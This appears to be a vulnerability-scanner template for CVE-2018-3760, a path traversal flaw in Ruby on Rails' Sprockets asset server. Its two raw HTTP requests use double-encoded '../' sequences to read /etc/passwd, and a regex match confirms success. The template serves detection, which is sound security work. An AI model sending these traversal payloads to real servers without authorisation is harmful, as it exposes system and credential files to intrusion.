id: CVE-2018-3760 info: name: Ruby On Rails Path Traversal author: 0xrudra,pikpikcu severity: high reference: - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf - https://seclists.org/oss-sec/2018/q2/210 - https://xz.aliyun.com/t/2542 description: | Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files. There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server. tags: cve,cve2018,rails,lfi classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.50 cve-id: CVE-2018-3760 cwe-id: CWE-200 requests: - raw: - | GET /assets/file:%2f%2f/etc/passwd HTTP/1.1 Host: {{Hostname}} - | GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: path internal: true part: body regex: - "/etc/passwd is no longer under a load path: (.*?)," matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" - type: status status: - 200